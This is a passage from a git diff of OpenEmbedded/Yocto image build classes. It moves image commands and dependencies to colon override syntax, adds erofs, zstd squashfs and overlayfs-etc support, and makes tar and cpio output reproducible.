- pre_prelink_size=`du -ks ${IMAGE_ROOTFS} | awk '{size = $1 ; print size }'`
- echo "Size after prelinking $pre_prelink_size."
-}
diff --git a/meta/classes/image.bbclass b/meta/classes/image.bbclass
index c2824395c9..7f1f6f80a4 100644
--- a/meta/classes/image.bbclass
+++ b/meta/classes/image.bbclass
@@ -15,6 +15,7 @@ IMGCLASSES += "${@bb.utils.contains('IMAGE_FSTYPES', 'container', 'image-contain
IMGCLASSES += "image_types_wic"
IMGCLASSES += "rootfs-postcommands"
IMGCLASSES += "image-postinst-intercepts"
+IMGCLASSES += "overlayfs-etc"
inherit ${IMGCLASSES}
TOOLCHAIN_TARGET_TASK += "${PACKAGE_INSTALL}"
@@ -26,19 +27,19 @@ PACKAGES = ""
DEPENDS += "${@' '.join(["%s-qemuwrapper-cross" % m for m in d.getVar("MULTILIB_VARIANTS").split()])} qemuwrapper-cross depmodwrapper-cross cross-localedef-native"
RDEPENDS += "${PACKAGE_INSTALL} ${LINGUAS_INSTALL} ${IMAGE_INSTALL_DEBUGFS}"
RRECOMMENDS += "${PACKAGE_INSTALL_ATTEMPTONLY}"
-PATH_prepend = "${@":".join(all_multilib_tune_values(d, 'STAGING_BINDIR_CROSS').split())}:"
+PATH:prepend = "${@":".join(all_multilib_tune_values(d, 'STAGING_BINDIR_CROSS').split())}:"
INHIBIT_DEFAULT_DEPS = "1"
# IMAGE_FEATURES may contain any available package group
IMAGE_FEATURES ?= ""
IMAGE_FEATURES[type] = "list"
-IMAGE_FEATURES[validitems] += "debug-tweaks read-only-rootfs stateless-rootfs empty-root-password allow-empty-password allow-root-login post-install-logging"
+IMAGE_FEATURES[validitems] += "debug-tweaks read-only-rootfs read-only-rootfs-delayed-postinsts stateless-rootfs empty-root-password allow-empty-password allow-root-login post-install-logging overlayfs-etc"
# Generate companion debugfs?
IMAGE_GEN_DEBUGFS ?= "0"
-# These pacackages will be installed as additional into debug rootfs
+# These packages will be installed as additional into debug rootfs
IMAGE_INSTALL_DEBUGFS ?= ""
# These packages will be removed from a read-only rootfs after all other
@@ -53,7 +54,7 @@ FEATURE_INSTALL_OPTIONAL[vardepvalue] = "${FEATURE_INSTALL_OPTIONAL}"
# Define some very basic feature package groups
FEATURE_PACKAGES_package-management = "${ROOTFS_PKGMANAGE}"
-SPLASH ?= "psplash"
+SPLASH ?= "${@bb.utils.contains("MACHINE_FEATURES", "screen", "psplash", "", d)}"
FEATURE_PACKAGES_splash = "${SPLASH}"
IMAGE_INSTALL_COMPLEMENTARY = '${@complementary_globs("IMAGE_FEATURES", d)}'
@@ -62,10 +63,7 @@ def check_image_features(d):
valid_features = (d.getVarFlag('IMAGE_FEATURES', 'validitems') or "").split()
valid_features += d.getVarFlags('COMPLEMENTARY_GLOB').keys()
for var in d:
- if var.startswith("PACKAGE_GROUP_"):
- bb.warn("PACKAGE_GROUP is deprecated, please use FEATURE_PACKAGES instead")
- valid_features.append(var[14:])
- elif var.startswith("FEATURE_PACKAGES_"):
+ if var.startswith("FEATURE_PACKAGES_"):
valid_features.append(var[17:])
valid_features.sort()
@@ -95,7 +93,7 @@ PID = "${@os.getpid()}"
PACKAGE_ARCH = "${MACHINE_ARCH}"
LDCONFIGDEPEND ?= "ldconfig-native:do_populate_sysroot"
-LDCONFIGDEPEND_libc-musl = ""
+LDCONFIGDEPEND:libc-musl = ""
# This is needed to have depmod data in PKGDATA_DIR,
# but if you're building small initramfs image
@@ -115,7 +113,7 @@ def rootfs_command_variables(d):
'IMAGE_PREPROCESS_COMMAND','RPM_PREPROCESS_COMMANDS','RPM_POSTPROCESS_COMMANDS','DEB_PREPROCESS_COMMANDS','DEB_POSTPROCESS_COMMANDS']
python () {
- variables = rootfs_command_variables(d) + sdk_command_variables(d)
+ variables = rootfs_command_variables(d)
for var in variables:
if d.getVar(var, False):
d.setVarFlag(var, 'func', '1')
@@ -124,7 +122,7 @@ python () {
def rootfs_variables(d):
from oe.rootfs import variable_depends
variables = ['IMAGE_DEVICE_TABLE','IMAGE_DEVICE_TABLES','BUILD_IMAGES_FROM_FEEDS','IMAGE_TYPES_MASKED','IMAGE_ROOTFS_ALIGNMENT','IMAGE_OVERHEAD_FACTOR','IMAGE_ROOTFS_SIZE','IMAGE_ROOTFS_EXTRA_SPACE',
- 'IMAGE_ROOTFS_MAXSIZE','IMAGE_NAME','IMAGE_LINK_NAME','IMAGE_MANIFEST','DEPLOY_DIR_IMAGE','IMAGE_FSTYPES','IMAGE_INSTALL_COMPLEMENTARY','IMAGE_LINGUAS', 'IMAGE_LINGUAS_COMPLEMENTARY',
+ 'IMAGE_ROOTFS_MAXSIZE','IMAGE_NAME','IMAGE_LINK_NAME','IMAGE_MANIFEST','DEPLOY_DIR_IMAGE','IMAGE_FSTYPES','IMAGE_INSTALL_COMPLEMENTARY','IMAGE_LINGUAS', 'IMAGE_LINGUAS_COMPLEMENTARY', 'IMAGE_LOCALES_ARCHIVE',
'MULTILIBRE_ALLOW_REP','MULTILIB_TEMP_ROOTFS','MULTILIB_VARIANTS','MULTILIBS','ALL_MULTILIB_PACKAGE_ARCHS','MULTILIB_GLOBAL_VARIANTS','BAD_RECOMMENDATIONS','NO_RECOMMENDATIONS',
'PACKAGE_ARCHS','PACKAGE_CLASSES','TARGET_VENDOR','TARGET_ARCH','TARGET_OS','OVERRIDES','BBEXTENDVARIANT','FEED_DEPLOYDIR_BASE_URI','INTERCEPT_DIR','USE_DEVFS',
'CONVERSIONTYPES', 'IMAGE_GEN_DEBUGFS', 'ROOTFS_RO_UNNEEDED', 'IMGDEPLOYDIR', 'PACKAGE_EXCLUDE_COMPLEMENTARY', 'REPRODUCIBLE_TIMESTAMP_ROOTFS', 'IMAGE_INSTALL_DEBUGFS']
@@ -141,7 +139,10 @@ python () {
def extraimage_getdepends(task):
deps = ""
for dep in (d.getVar('EXTRA_IMAGEDEPENDS') or "").split():
- deps += " %s:%s" % (dep, task)
+ if ":" in dep:
+ deps += " %s " % (dep)
+ else:
+ deps += " %s:%s" % (dep, task)
return deps
d.appendVarFlag('do_image_complete', 'depends', extraimage_getdepends('do_populate_sysroot'))
@@ -176,10 +177,15 @@ IMAGE_LINGUAS ?= "de-de fr-fr en-gb"
LINGUAS_INSTALL ?= "${@" ".join(map(lambda s: "locale-base-%s" % s, d.getVar('IMAGE_LINGUAS').split()))}"
+# per default create a locale archive
+IMAGE_LOCALES_ARCHIVE ?= '1'
+
# Prefer image, but use the fallback files for lookups if the image ones
# aren't yet available.
PSEUDO_PASSWD = "${IMAGE_ROOTFS}:${STAGING_DIR_NATIVE}"
+PSEUDO_IGNORE_PATHS .= ",${WORKDIR}/intercept_scripts,${WORKDIR}/oe-rootfs-repo,${WORKDIR}/sstate-build-image_complete"
+
PACKAGE_EXCLUDE ??= ""
PACKAGE_EXCLUDE[type] = "list"
@@ -247,8 +253,7 @@ fakeroot python do_rootfs () {
progress_reporter.finish()
}
do_rootfs[dirs] = "${TOPDIR}"
-do_rootfs[cleandirs] += "${S} ${IMGDEPLOYDIR}"
-do_rootfs[umask] = "022"
+do_rootfs[cleandirs] += "${IMAGE_ROOTFS} ${IMGDEPLOYDIR} ${S}"
do_rootfs[file-checksums] += "${POSTINST_INTERCEPT_CHECKSUMS}"
addtask rootfs after do_prepare_recipe_sysroot
@@ -261,7 +266,6 @@ fakeroot python do_image () {
execute_pre_post_process(d, pre_process_cmds)
}
do_image[dirs] = "${TOPDIR}"
-do_image[umask] = "022"
addtask do_image after do_rootfs
fakeroot python do_image_complete () {
@@ -272,9 +276,8 @@ fakeroot python do_image_complete () {
execute_pre_post_process(d, post_process_cmds)
}
do_image_complete[dirs] = "${TOPDIR}"
-do_image_complete[umask] = "022"
SSTATETASKS += "do_image_complete"
-SSTATE_SKIP_CREATION_task-image-complete = '1'
+SSTATE_SKIP_CREATION:task-image-complete = '1'
do_image_complete[sstate-inputdirs] = "${IMGDEPLOYDIR}"
do_image_complete[sstate-outputdirs] = "${DEPLOY_DIR_IMAGE}"
do_image_complete[stamp-extra-info] = "${MACHINE_ARCH}"
@@ -315,7 +318,7 @@ fakeroot python do_image_qa () {
addtask do_image_qa after do_rootfs before do_image
SSTATETASKS += "do_image_qa"
-SSTATE_SKIP_CREATION_task-image-qa = '1'
+SSTATE_SKIP_CREATION:task-image-qa = '1'
do_image_qa[sstate-inputdirs] = ""
do_image_qa[sstate-outputdirs] = ""
python do_image_qa_setscene () {
@@ -383,8 +386,8 @@ python () {
if t.startswith("debugfs_"):
t = t[8:]
debug = "debugfs_"
- deps = (d.getVar('IMAGE_TYPEDEP_' + t) or "").split()
- vardeps.add('IMAGE_TYPEDEP_' + t)
+ deps = (d.getVar('IMAGE_TYPEDEP:' + t) or "").split()
+ vardeps.add('IMAGE_TYPEDEP:' + t)
if baset not in typedeps:
typedeps[baset] = set()
deps = [debug + dep for dep in deps]
@@ -432,21 +435,22 @@ python () {
localdata.delVar('DATETIME')
localdata.delVar('DATE')
localdata.delVar('TMPDIR')
- vardepsexclude = (d.getVarFlag('IMAGE_CMD_' + realt, 'vardepsexclude', True) or '').split()
+ localdata.delVar('IMAGE_VERSION_SUFFIX')
+ vardepsexclude = (d.getVarFlag('IMAGE_CMD:' + realt, 'vardepsexclude', True) or '').split()
for dep in vardepsexclude:
localdata.delVar(dep)
image_cmd = localdata.getVar("IMAGE_CMD")
- vardeps.add('IMAGE_CMD_' + realt)
+ vardeps.add('IMAGE_CMD:' + realt)
if image_cmd:
cmds.append("\t" + image_cmd)
else:
bb.fatal("No IMAGE_CMD defined for IMAGE_FSTYPES entry '%s' - possibly invalid type name or missing support class" % t)
cmds.append(localdata.expand("\tcd ${IMGDEPLOYDIR}"))
- # Since a copy of IMAGE_CMD_xxx will be inlined within do_image_xxx,
- # prevent a redundant copy of IMAGE_CMD_xxx being emitted as a function.
- d.delVarFlag('IMAGE_CMD_' + realt, 'func')
+ # Since a copy of IMAGE_CMD:xxx will be inlined within do_image_xxx,
+ # prevent a redundant copy of IMAGE_CMD:xxx being emitted as a function.
+ d.delVarFlag('IMAGE_CMD:' + realt, 'func')
rm_tmp_images = set()
def gen_conversion_cmds(bt):
@@ -458,11 +462,10 @@ python () {
# Create input image first.
gen_conversion_cmds(type)
localdata.setVar('type', type)
- cmd = "\t" + (localdata.getVar("CONVERSION_CMD_" + ctype) or localdata.getVar("COMPRESS_CMD_" + ctype))
+ cmd = "\t" + localdata.getVar("CONVERSION_CMD:" + ctype)
if cmd not in cmds:
cmds.append(cmd)
- vardeps.add('CONVERSION_CMD_' + ctype)
- vardeps.add('COMPRESS_CMD_' + ctype)
+ vardeps.add('CONVERSION_CMD:' + ctype)
subimage = type + "." + ctype
if subimage not in subimages:
subimages.append(subimage)
@@ -508,7 +511,7 @@ python () {
# Compute the rootfs size
#
def get_rootfs_size(d):
- import subprocess
+ import subprocess, oe.utils
rootfs_alignment = int(d.getVar('IMAGE_ROOTFS_ALIGNMENT'))
overhead_factor = float(d.getVar('IMAGE_OVERHEAD_FACTOR'))
@@ -519,9 +522,7 @@ def get_rootfs_size(d):
initramfs_fstypes = d.getVar('INITRAMFS_FSTYPES') or ''
initramfs_maxsize = d.getVar('INITRAMFS_MAXSIZE')
- output = subprocess.check_output(['du', '-ks',
- d.getVar('IMAGE_ROOTFS')])
- size_kb = int(output.split()[0])
+ size_kb = oe.utils.directory_size(d.getVar("IMAGE_ROOTFS")) / 1024
base_size = size_kb * overhead_factor
bb.debug(1, '%f = %d * %f' % (base_size, size_kb, overhead_factor))
@@ -551,14 +552,14 @@ def get_rootfs_size(d):
if rootfs_maxsize:
rootfs_maxsize_int = int(rootfs_maxsize)
if base_size > rootfs_maxsize_int:
- bb.fatal("The rootfs size %d(K) overrides IMAGE_ROOTFS_MAXSIZE: %d(K)" % \
+ bb.fatal("The rootfs size %d(K) exceeds IMAGE_ROOTFS_MAXSIZE: %d(K)" % \
(base_size, rootfs_maxsize_int))
# Check the initramfs size against INITRAMFS_MAXSIZE (if set)
if image_fstypes == initramfs_fstypes != '' and initramfs_maxsize:
initramfs_maxsize_int = int(initramfs_maxsize)
if base_size > initramfs_maxsize_int:
- bb.error("The initramfs size %d(K) overrides INITRAMFS_MAXSIZE: %d(K)" % \
+ bb.error("The initramfs size %d(K) exceeds INITRAMFS_MAXSIZE: %d(K)" % \
(base_size, initramfs_maxsize_int))
bb.error("You can set INITRAMFS_MAXSIZE a larger value. Usually, it should")
bb.fatal("be less than 1/2 of ram size, or you may fail to boot it.\n")
@@ -609,10 +610,11 @@ do_patch[noexec] = "1"
do_configure[noexec] = "1"
do_compile[noexec] = "1"
do_install[noexec] = "1"
+deltask do_populate_lic
deltask do_populate_sysroot
do_package[noexec] = "1"
deltask do_package_qa
-do_packagedata[noexec] = "1"
+deltask do_packagedata
deltask do_package_write_ipk
deltask do_package_write_deb
deltask do_package_write_rpm
@@ -621,20 +623,20 @@ deltask do_package_write_rpm
create_merged_usr_symlinks() {
root="$1"
install -d $root${base_bindir} $root${base_sbindir} $root${base_libdir}
- lnr $root${base_bindir} $root/bin
- lnr $root${base_sbindir} $root/sbin
- lnr $root${base_libdir} $root/${baselib}
+ ln -rs $root${base_bindir} $root/bin
+ ln -rs $root${base_sbindir} $root/sbin
+ ln -rs $root${base_libdir} $root/${baselib}
if [ "${nonarch_base_libdir}" != "${base_libdir}" ]; then
install -d $root${nonarch_base_libdir}
- lnr $root${nonarch_base_libdir} $root/lib
+ ln -rs $root${nonarch_base_libdir} $root/lib
fi
# create base links for multilibs
multi_libdirs="${@d.getVar('MULTILIB_VARIANTS')}"
for d in $multi_libdirs; do
install -d $root${exec_prefix}/$d
- lnr $root${exec_prefix}/$d $root/$d
+ ln -rs $root${exec_prefix}/$d $root/$d
done
}
@@ -650,17 +652,15 @@ ROOTFS_PREPROCESS_COMMAND += "${@bb.utils.contains('DISTRO_FEATURES', 'usrmerge'
POPULATE_SDK_PRE_TARGET_COMMAND += "${@bb.utils.contains('DISTRO_FEATURES', 'usrmerge', 'create_merged_usr_symlinks_sdk; ', '',d)}"
reproducible_final_image_task () {
- if [ "${BUILD_REPRODUCIBLE_BINARIES}" = "1" ]; then
+ if [ "$REPRODUCIBLE_TIMESTAMP_ROOTFS" = "" ]; then
+ REPRODUCIBLE_TIMESTAMP_ROOTFS=`git -C "${COREBASE}" log -1 --pretty=%ct 2>/dev/null` || true
if [ "$REPRODUCIBLE_TIMESTAMP_ROOTFS" = "" ]; then
- REPRODUCIBLE_TIMESTAMP_ROOTFS=`git -C "${COREBASE}" log -1 --pretty=%ct 2>/dev/null` || true
- if [ "${REPRODUCIBLE_TIMESTAMP_ROOTFS}" = "" ]; then
- REPRODUCIBLE_TIMESTAMP_ROOTFS=`stat -c%Y ${@bb.utils.which(d.getVar("BBPATH"), "conf/bitbake.conf")}`
- fi
+ REPRODUCIBLE_TIMESTAMP_ROOTFS=`stat -c%Y ${@bb.utils.which(d.getVar("BBPATH"), "conf/bitbake.conf")}`
fi
- # Set mtime of all files to a reproducible value
- bbnote "reproducible_final_image_task: mtime set to $REPRODUCIBLE_TIMESTAMP_ROOTFS"
- find ${IMAGE_ROOTFS} -exec touch -h --date=@$REPRODUCIBLE_TIMESTAMP_ROOTFS {} \;
fi
+ # Set mtime of all files to a reproducible value
+ bbnote "reproducible_final_image_task: mtime set to $REPRODUCIBLE_TIMESTAMP_ROOTFS"
+ find ${IMAGE_ROOTFS} -print0 | xargs -0 touch -h --date=@$REPRODUCIBLE_TIMESTAMP_ROOTFS
}
systemd_preset_all () {
@@ -669,6 +669,6 @@ systemd_preset_all () {
fi
}
-IMAGE_PREPROCESS_COMMAND_append = " ${@ 'systemd_preset_all;' if bb.utils.contains('DISTRO_FEATURES', 'systemd', True, False, d) and not bb.utils.contains('IMAGE_FEATURES', 'stateless-rootfs', True, False, d) else ''} reproducible_final_image_task; "
+IMAGE_PREPROCESS_COMMAND:append = " ${@ 'systemd_preset_all;' if bb.utils.contains('DISTRO_FEATURES', 'systemd', True, False, d) and not bb.utils.contains('IMAGE_FEATURES', 'stateless-rootfs', True, False, d) else ''} reproducible_final_image_task; "
CVE_PRODUCT = ""
diff --git a/meta/classes/image_types.bbclass b/meta/classes/image_types.bbclass
index 2eeffbb366..f643ed3ce7 100644
--- a/meta/classes/image_types.bbclass
+++ b/meta/classes/image_types.bbclass
@@ -1,9 +1,3 @@
-# IMAGE_NAME is the base name for everything produced when building images.
-# The actual image that contains the rootfs has an additional suffix (.rootfs
-# by default) followed by additional suffices which describe the format (.ext4,
-# .ext4.xz, etc.).
-IMAGE_NAME_SUFFIX ??= ".rootfs"
-
# The default aligment of the size of the rootfs is set to 1KiB. In case
# you're using the SD card emulation of a QEMU system simulator you may
# set this value to 2048 (2MiB alignment).
@@ -35,7 +29,7 @@ def imagetypes_getdepends(d):
if d.getVar(var) is not None:
deprecated.add(var)
- for typedepends in (d.getVar("IMAGE_TYPEDEP_%s" % basetype) or "").split():
+ for typedepends in (d.getVar("IMAGE_TYPEDEP:%s" % basetype) or "").split():
base, rest = split_types(typedepends)
resttypes += rest
@@ -59,10 +53,12 @@ XZ_INTEGRITY_CHECK ?= "crc32"
ZIP_COMPRESSION_LEVEL ?= "-9"
+ZSTD_COMPRESSION_LEVEL ?= "-3"
+
JFFS2_SUM_EXTRA_ARGS ?= ""
-IMAGE_CMD_jffs2 = "mkfs.jffs2 --root=${IMAGE_ROOTFS} --faketime --output=${IMGDEPLOYDIR}/${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.jffs2 ${EXTRA_IMAGECMD}"
+IMAGE_CMD:jffs2 = "mkfs.jffs2 --root=${IMAGE_ROOTFS} --faketime --output=${IMGDEPLOYDIR}/${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.jffs2 ${EXTRA_IMAGECMD}"
-IMAGE_CMD_cramfs = "mkfs.cramfs ${IMAGE_ROOTFS} ${IMGDEPLOYDIR}/${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.cramfs ${EXTRA_IMAGECMD}"
+IMAGE_CMD:cramfs = "mkfs.cramfs ${IMAGE_ROOTFS} ${IMGDEPLOYDIR}/${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.cramfs ${EXTRA_IMAGECMD}"
oe_mkext234fs () {
fstype=$1
@@ -92,12 +88,12 @@ oe_mkext234fs () {
fsck.$fstype -pvfD ${IMGDEPLOYDIR}/${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.$fstype || [ $? -le 3 ]
}
-IMAGE_CMD_ext2 = "oe_mkext234fs ext2 ${EXTRA_IMAGECMD}"
-IMAGE_CMD_ext3 = "oe_mkext234fs ext3 ${EXTRA_IMAGECMD}"
-IMAGE_CMD_ext4 = "oe_mkext234fs ext4 ${EXTRA_IMAGECMD}"
+IMAGE_CMD:ext2 = "oe_mkext234fs ext2 ${EXTRA_IMAGECMD}"
+IMAGE_CMD:ext3 = "oe_mkext234fs ext3 ${EXTRA_IMAGECMD}"
+IMAGE_CMD:ext4 = "oe_mkext234fs ext4 ${EXTRA_IMAGECMD}"
MIN_BTRFS_SIZE ?= "16384"
-IMAGE_CMD_btrfs () {
+IMAGE_CMD:btrfs () {
size=${ROOTFS_SIZE}
if [ ${size} -lt ${MIN_BTRFS_SIZE} ] ; then
size=${MIN_BTRFS_SIZE}
@@ -107,28 +103,24 @@ IMAGE_CMD_btrfs () {
mkfs.btrfs ${EXTRA_IMAGECMD} -r ${IMAGE_ROOTFS} ${IMGDEPLOYDIR}/${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.btrfs
}
-IMAGE_CMD_squashfs = "mksquashfs ${IMAGE_ROOTFS} ${IMGDEPLOYDIR}/${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.squashfs ${EXTRA_IMAGECMD} -noappend"
-IMAGE_CMD_squashfs-xz = "mksquashfs ${IMAGE_ROOTFS} ${IMGDEPLOYDIR}/${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.squashfs-xz ${EXTRA_IMAGECMD} -noappend -comp xz"
-IMAGE_CMD_squashfs-lzo = "mksquashfs ${IMAGE_ROOTFS} ${IMGDEPLOYDIR}/${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.squashfs-lzo ${EXTRA_IMAGECMD} -noappend -comp lzo"
-IMAGE_CMD_squashfs-lz4 = "mksquashfs ${IMAGE_ROOTFS} ${IMGDEPLOYDIR}/${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.squashfs-lz4 ${EXTRA_IMAGECMD} -noappend -comp lz4"
-
-# By default, tar from the host is used, which can be quite old. If
-# you need special parameters (like --xattrs) which are only supported
-# by GNU tar upstream >= 1.27, then override that default:
-# IMAGE_CMD_TAR = "tar --xattrs --xattrs-include=*"
-# do_image_tar[depends] += "tar-replacement-native:do_populate_sysroot"
-# EXTRANATIVEPATH += "tar-native"
-#
-# The GNU documentation does not specify whether --xattrs-include is necessary.
-# In practice, it turned out to be not needed when creating archives and
-# required when extracting, but it seems prudent to use it in both cases.
+IMAGE_CMD:squashfs = "mksquashfs ${IMAGE_ROOTFS} ${IMGDEPLOYDIR}/${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.squashfs ${EXTRA_IMAGECMD} -noappend"
+IMAGE_CMD:squashfs-xz = "mksquashfs ${IMAGE_ROOTFS} ${IMGDEPLOYDIR}/${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.squashfs-xz ${EXTRA_IMAGECMD} -noappend -comp xz"
+IMAGE_CMD:squashfs-lzo = "mksquashfs ${IMAGE_ROOTFS} ${IMGDEPLOYDIR}/${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.squashfs-lzo ${EXTRA_IMAGECMD} -noappend -comp lzo"
+IMAGE_CMD:squashfs-lz4 = "mksquashfs ${IMAGE_ROOTFS} ${IMGDEPLOYDIR}/${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.squashfs-lz4 ${EXTRA_IMAGECMD} -noappend -comp lz4"
+IMAGE_CMD:squashfs-zst = "mksquashfs ${IMAGE_ROOTFS} ${IMGDEPLOYDIR}/${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.squashfs-zst ${EXTRA_IMAGECMD} -noappend -comp zstd"
+
+IMAGE_CMD:erofs = "mkfs.erofs ${EXTRA_IMAGECMD} ${IMGDEPLOYDIR}/${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.erofs ${IMAGE_ROOTFS}"
+IMAGE_CMD:erofs-lz4 = "mkfs.erofs -zlz4 ${EXTRA_IMAGECMD} ${IMGDEPLOYDIR}/${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.erofs-lz4 ${IMAGE_ROOTFS}"
+IMAGE_CMD:erofs-lz4hc = "mkfs.erofs -zlz4hc ${EXTRA_IMAGECMD} ${IMGDEPLOYDIR}/${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.erofs-lz4hc ${IMAGE_ROOTFS}"
+
+
IMAGE_CMD_TAR ?= "tar"
# ignore return code 1 "file changed as we read it" as other tasks(e.g. do_image_wic) may be hardlinking rootfs
-IMAGE_CMD_tar = "${IMAGE_CMD_TAR} --numeric-owner -cf ${IMGDEPLOYDIR}/${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.tar -C ${IMAGE_ROOTFS} . || [ $? -eq 1 ]"
+IMAGE_CMD:tar = "${IMAGE_CMD_TAR} --sort=name --format=posix --numeric-owner -cf ${IMGDEPLOYDIR}/${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.tar -C ${IMAGE_ROOTFS} . || [ $? -eq 1 ]"
do_image_cpio[cleandirs] += "${WORKDIR}/cpio_append"
-IMAGE_CMD_cpio () {
- (cd ${IMAGE_ROOTFS} && find . | cpio -o -H newc >${IMGDEPLOYDIR}/${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.cpio)
+IMAGE_CMD:cpio () {
+ (cd ${IMAGE_ROOTFS} && find . | sort | cpio --reproducible -o -H newc >${IMGDEPLOYDIR}/${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.cpio)
# We only need the /init symlink if we're building the real
# image. The -dbg image doesn't need it! By being clever
# about this we also avoid 'touch' below failing, as it
@@ -147,16 +139,18 @@ IMAGE_CMD_cpio () {
}
UBI_VOLNAME ?= "${MACHINE}-rootfs"
+UBI_VOLTYPE ?= "dynamic"
+UBI_IMGTYPE ?= "ubifs"
multiubi_mkfs() {
local mkubifs_args="$1"
local ubinize_args="$2"
-
+
# Added prompt error message for ubi and ubifs image creation.
if [ -z "$mkubifs_args" ] || [ -z "$ubinize_args" ]; then
bbfatal "MKUBIFS_ARGS and UBINIZE_ARGS have to be set, see http://www.linux-mtd.infradead.org/faq/ubifs.html for details"
fi
-
+
if [ -z "$3" ]; then
local vname=""
else
@@ -165,9 +159,9 @@ multiubi_mkfs() {
echo \[ubifs\] > ubinize${vname}-${IMAGE_NAME}.cfg
echo mode=ubi >> ubinize${vname}-${IMAGE_NAME}.cfg
- echo image=${IMGDEPLOYDIR}/${IMAGE_NAME}${vname}${IMAGE_NAME_SUFFIX}.ubifs >> ubinize${vname}-${IMAGE_NAME}.cfg
+ echo image=${IMGDEPLOYDIR}/${IMAGE_NAME}${vname}${IMAGE_NAME_SUFFIX}.${UBI_IMGTYPE} >> ubinize${vname}-${IMAGE_NAME}.cfg
echo vol_id=0 >> ubinize${vname}-${IMAGE_NAME}.cfg
- echo vol_type=dynamic >> ubinize${vname}-${IMAGE_NAME}.cfg
+ echo vol_type=${UBI_VOLTYPE} >> ubinize${vname}-${IMAGE_NAME}.cfg
echo vol_name=${UBI_VOLNAME} >> ubinize${vname}-${IMAGE_NAME}.cfg
echo vol_flags=autoresize >> ubinize${vname}-${IMAGE_NAME}.cfg
if [ -n "$vname" ]; then
@@ -193,7 +187,7 @@ multiubi_mkfs() {
fi
}
-IMAGE_CMD_multiubi () {
+IMAGE_CMD:multiubi () {
# Split MKUBIFS_ARGS_<name> and UBINIZE_ARGS_<name>
for name in ${MULTIUBI_BUILD}; do
eval local mkubifs_args=\"\$MKUBIFS_ARGS_${name}\"
@@ -203,15 +197,15 @@ IMAGE_CMD_multiubi () {
done
}
-IMAGE_CMD_ubi () {
+IMAGE_CMD:ubi () {
multiubi_mkfs "${MKUBIFS_ARGS}" "${UBINIZE_ARGS}"
}
-IMAGE_TYPEDEP_ubi = "ubifs"
+IMAGE_TYPEDEP:ubi = "${UBI_IMGTYPE}"
-IMAGE_CMD_ubifs = "mkfs.ubifs -r ${IMAGE_ROOTFS} -o ${IMGDEPLOYDIR}/${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.ubifs ${MKUBIFS_ARGS}"
+IMAGE_CMD:ubifs = "mkfs.ubifs -r ${IMAGE_ROOTFS} -o ${IMGDEPLOYDIR}/${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.ubifs ${MKUBIFS_ARGS}"
MIN_F2FS_SIZE ?= "524288"
-IMAGE_CMD_f2fs () {
+IMAGE_CMD:f2fs () {
# We need to add additional smarts here form devices smaller than 1.5G
# Need to scale appropriately between 40M -> 1.5G as the "overprovision
# ratio" goes down as the device gets bigger (70% -> 4.5%), below about
@@ -229,17 +223,18 @@ IMAGE_CMD_f2fs () {
EXTRA_IMAGECMD = ""
-inherit siteinfo kernel-arch
+inherit siteinfo kernel-arch image-artifact-names
+
JFFS2_ENDIANNESS ?= "${@oe.utils.conditional('SITEINFO_ENDIANNESS', 'le', '-l', '-b', d)}"
JFFS2_ERASEBLOCK ?= "0x40000"
-EXTRA_IMAGECMD_jffs2 ?= "--pad ${JFFS2_ENDIANNESS} --eraseblock=${JFFS2_ERASEBLOCK} --no-cleanmarkers"
+EXTRA_IMAGECMD:jffs2 ?= "--pad ${JFFS2_ENDIANNESS} --eraseblock=${JFFS2_ERASEBLOCK} --no-cleanmarkers"
# Change these if you want default mkfs behavior (i.e. create minimal inode number)
-EXTRA_IMAGECMD_ext2 ?= "-i 4096"
-EXTRA_IMAGECMD_ext3 ?= "-i 4096"
-EXTRA_IMAGECMD_ext4 ?= "-i 4096"
-EXTRA_IMAGECMD_btrfs ?= "-n 4096"
-EXTRA_IMAGECMD_f2fs ?= ""
+EXTRA_IMAGECMD:ext2 ?= "-i 4096"
+EXTRA_IMAGECMD:ext3 ?= "-i 4096"
+EXTRA_IMAGECMD:ext4 ?= "-i 4096"
+EXTRA_IMAGECMD:btrfs ?= "-n 4096 --shrink"
+EXTRA_IMAGECMD:f2fs ?= ""
do_image_cpio[depends] += "cpio-native:do_populate_sysroot"
do_image_jffs2[depends] += "mtd-utils-native:do_populate_sysroot"
@@ -252,10 +247,14 @@ do_image_squashfs[depends] += "squashfs-tools-native:do_populate_sysroot"
do_image_squashfs_xz[depends] += "squashfs-tools-native:do_populate_sysroot"
do_image_squashfs_lzo[depends] += "squashfs-tools-native:do_populate_sysroot"
do_image_squashfs_lz4[depends] += "squashfs-tools-native:do_populate_sysroot"
+do_image_squashfs_zst[depends] += "squashfs-tools-native:do_populate_sysroot"
do_image_ubi[depends] += "mtd-utils-native:do_populate_sysroot"
do_image_ubifs[depends] += "mtd-utils-native:do_populate_sysroot"
do_image_multiubi[depends] += "mtd-utils-native:do_populate_sysroot"
do_image_f2fs[depends] += "f2fs-tools-native:do_populate_sysroot"
+do_image_erofs[depends] += "erofs-utils-native:do_populate_sysroot"
+do_image_erofs_lz4[depends] += "erofs-utils-native:do_populate_sysroot"
+do_image_erofs_lz4hc[depends] += "erofs-utils-native:do_populate_sysroot"
# This variable is available to request which values are suitable for IMAGE_FSTYPES
IMAGE_TYPES = " \
@@ -267,13 +266,14 @@ IMAGE_TYPES = " \
btrfs \
iso \
hddimg \
- squashfs squashfs-xz squashfs-lzo squashfs-lz4 \
+ squashfs squashfs-xz squashfs-lzo squashfs-lz4 squashfs-zst \
